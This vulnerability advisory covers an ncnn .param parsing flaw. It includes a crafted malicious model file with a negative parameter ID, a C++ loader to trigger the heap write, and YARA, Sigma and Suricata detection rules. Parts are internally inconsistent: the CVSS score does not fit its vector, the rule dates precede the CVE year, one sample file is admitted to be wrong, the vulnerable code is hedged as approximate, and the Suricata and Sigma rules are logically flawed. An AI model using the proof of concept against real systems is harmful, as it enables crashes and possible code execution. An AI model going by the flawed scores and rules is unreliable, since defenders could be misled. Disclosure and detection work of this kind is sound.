CVE-2026-50144

Executive Summary

CVE-2026-50144 is a heap-based buffer overflow vulnerability in the ncnn neural network inference framework, specifically within the ncnn::ParamDict::load_param() function. The flaw allows an attacker to trigger an out-of-bounds write on the heap by providing a malicious .param model file containing a negative parameter ID. The vulnerability exists in all versions prior to commit 5a0288f255daa6c3294f77109f67718e434ec020. Successful exploitation could lead to a denial of service (DoS) or potentially arbitrary code execution in the context of the application loading the model. The CVSS score is 7.1 (High), with a local attack vector and low complexity.

Supply Chain & Package Security

ncnn is a widely used open-source neural network inference framework, particularly popular in mobile and embedded environments. This vulnerability poses a supply chain risk because applications that bundle or dynamically load ncnn models from untrusted sources could be compromised. An attacker could craft a malicious .param file that, when loaded by an application using an unpatched version of ncnn, causes memory corruption. This is especially critical for mobile applications, IoT devices, and any system that processes user-uploaded or externally sourced neural network models.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
• Base Score: 7.1 (High)
• Attack Vector (AV): Local (L) – The attacker must have local access to the system or be able to deliver a malicious file to the victim.
• Attack Complexity (AC): Low (L) – No special conditions are required to exploit the vulnerability beyond loading a crafted file.
• Privileges Required (PR): None (N) – The attacker does not need any privileges.
• User Interaction (UI): Required (R) – The victim must load the malicious .param file.
• Scope (S): Unchanged (U) – The vulnerability does not affect resources beyond the vulnerable component.
• Confidentiality (C): None (N) – No information disclosure.
• Integrity (I): None (N) – No data integrity impact.
• Availability (A): High (H) – The vulnerability can cause a crash or denial of service.

Threat Level: High. While the attack vector is local, the low complexity and potential for code execution in some scenarios make this a serious threat for applications that process untrusted model files.

Deep Dive & Mechanics

The vulnerability resides in the ncnn::ParamDict::load_param() function, which is called when Net::load_param() parses a .param model file. The function reads parameter IDs from the file and uses them to index into a fixed-size array params[NCNN_MAX_PARAM_COUNT].

The root cause is an insufficient bounds check. The code only checks if the parsed parameter ID is greater than or equal to NCNN_MAX_PARAM_COUNT. It does not check if the ID is negative. A negative ID will be interpreted as a signed integer and, when used as an array index, will access memory before the params array, leading to an out-of-bounds heap write.

Vulnerable Code Path:

1. Net::load_param() reads a .param file.
2. For each parameter entry, it calls ParamDict::load_param().
3. ParamDict::load_param() reads the parameter ID as an integer.
4. The code performs: if (id >= NCNN_MAX_PARAM_COUNT) { /* error */ }
5. If id is negative (e.g., -1), the check passes.
6. The code then writes to params[id], which is params[-1], writing data to a memory location before the array.

This is a classic off-by-one or negative indexing vulnerability, leading to a heap buffer overflow.

Vulnerable vs. Patched Code

Vulnerable Code (before commit 5a0288f255daa6c3294f77109f67718e434ec020):

int ParamDict::load_param(const char*& mem)
{
    // ... parsing code ...
    int id = atoi(mem); // or similar parsing
    // VULNERABLE: Only checks upper bound
    if (id >= NCNN_MAX_PARAM_COUNT)
    {
        // error handling
        return -1;
    }
    // ... parse value ...
    params[id] = value; // OUT-OF-BOUNDS WRITE if id is negative
    // ...
}

Patched Code (after commit 5a0288f255daa6c3294f77109f67718e434ec020):

int ParamDict::load_param(const char*& mem)
{
    // ... parsing code ...
    int id = atoi(mem); // or similar parsing
    // PATCHED: Checks both lower and upper bounds
    if (id < 0 || id >= NCNN_MAX_PARAM_COUNT)
    {
        // error handling
        return -1;
    }
    // ... parse value ...
    params[id] = value; // SAFE
    // ...
}

The patch adds a check for id < 0, preventing negative indices from being used.

Exploitation & Lab Setup

Red Team

Objective: Craft a malicious .param file that triggers the out-of-bounds write.

Lab Setup:

1. Environment: A Linux or Windows system with an unpatched version of ncnn (commit e54f7b1f88434e1d844ea0551b880a1cfb079ce1 or earlier).
2. Tools: A text editor or hex editor, a C compiler (e.g., gcc, clang), and a debugger (e.g., gdb, WinDbg).

Exploitation Steps:

1. Create a Malicious .param File: The .param file format is text-based. A minimal malicious file would contain a layer with a negative parameter ID.

   Example malicious .param file content:

   7767517
   1 1
   Input            input            0 1 data
   MyLayer          mylayer          1 1 data output 0=-1 0=0.0
   

   In this example, 0=-1 sets parameter ID 0 to -1 (the ID itself is 0, but the value is -1). However, the vulnerability is in the parameter ID itself, not the value. To trigger the bug, we need to set the parameter ID to a negative number.

   A more direct malicious file:

   7767517
   1 1
   Input            input            0 1 data
   MyLayer          mylayer          1 1 data output -1=0.0
   

   Here, -1=0.0 attempts to set parameter ID -1 to 0.0. This will cause the out-of-bounds write.

2. Compile a Test Program: Write a simple C++ program that loads the malicious .param file using ncnn::Net.

   #include "net.h"
   #include <cstdio>
   
   int main() {
       ncnn::Net net;
       int ret = net.load_param("malicious.param");
       if (ret != 0) {
           printf("Failed to load param\n");
           return 1;
       }
       printf("Loaded successfully\n");
       return 0;
   }
   

3. Compile and Run:

   g++ -o test_ncnn test_ncnn.cpp -lncnn -lpthread
   ./test_ncnn
   

4. Observe Crash: The program should crash with a segmentation fault or heap corruption error. Use a debugger to confirm the out-of-bounds write at params[-1].

Blue Team

Detection and Prevention:

1. Patch Immediately: Update ncnn to a version that includes commit 5a0288f255daa6c3294f77109f67718e434ec020 or later.
2. Input Validation: If you cannot patch, implement a wrapper that validates .param files before passing them to ncnn. Check for negative parameter IDs in the file.
3. Memory Safety Tools: Use AddressSanitizer (ASan) or Valgrind during development to detect out-of-bounds accesses.
4. Sandboxing: Run applications that load untrusted ncnn models in a sandboxed environment (e.g., Docker, seccomp, AppArmor) to limit the impact of a potential exploit.
5. Monitoring: Monitor for crashes or abnormal memory access patterns in applications using ncnn.

Indicators of Compromise (IOCs)

• File-Based IOCs:
  • .param files containing negative parameter IDs (e.g., -1=value, -2=value).
  • .param files with unusual or unexpected parameter ID values.
• Behavioral IOCs:
  • Application crashes (segmentation faults) when loading .param files.
  • Heap corruption errors reported by memory debugging tools.
  • Unexpected memory writes in the heap region near the ParamDict::params array.
• Network IOCs:
  • (Unlikely for this local vulnerability) Downloads of .param files from untrusted sources.

Detection Engineering

YARA Rule

rule CVE_2026_50144_ncnn_negative_param_id {
    meta:
        description = "Detects malicious ncnn .param files with negative parameter IDs (CVE-2026-50144)"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "unknown"
    strings:
        $negative_id = /-[0-9]+=/
    condition:
        $negative_id
}

Sigma Rule

title: CVE-2026-50144 - ncnn Negative Parameter ID in .param File
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to load a malicious ncnn .param file with a negative parameter ID.
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\ncnn_app.exe'  # Adjust to your application
        CommandLine|contains: '.param'
    filter:
        CommandLine|contains:
            - '--param'
            - '-param'
    condition: selection and not filter
falsepositives:
    - Legitimate use of negative parameter IDs (unlikely)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-50144 - ncnn Malicious .param File Download"; flow:to_client,established; content:"|2e|param"; nocase; pcre:"/-\d+=/"; classtype:attempted-admin; sid:1000001; rev:1;)

Note: The Suricata rule is for network detection of .param file downloads. For local detection, use YARA or Sigma.

Remediation & Mitigation

1. Immediate Patch: Update ncnn to the latest version that includes the fix (commit 5a0288f255daa6c3294f77109f67718e434ec020 or later).
2. Workaround: If patching is not possible, implement input validation to reject .param files containing negative parameter IDs.
3. Compile-Time Protections: Enable compiler security features like ASLR, DEP/NX, and stack canaries.
4. Runtime Protections: Use AddressSanitizer (ASan) in debug builds and consider using Control Flow Guard (CFG) on Windows.
5. Vendor Communication: If you are a vendor using ncnn, ensure your software is updated and notify your users about the vulnerability.

Valters IT
DevSecOps & Cyber Threat Intelligence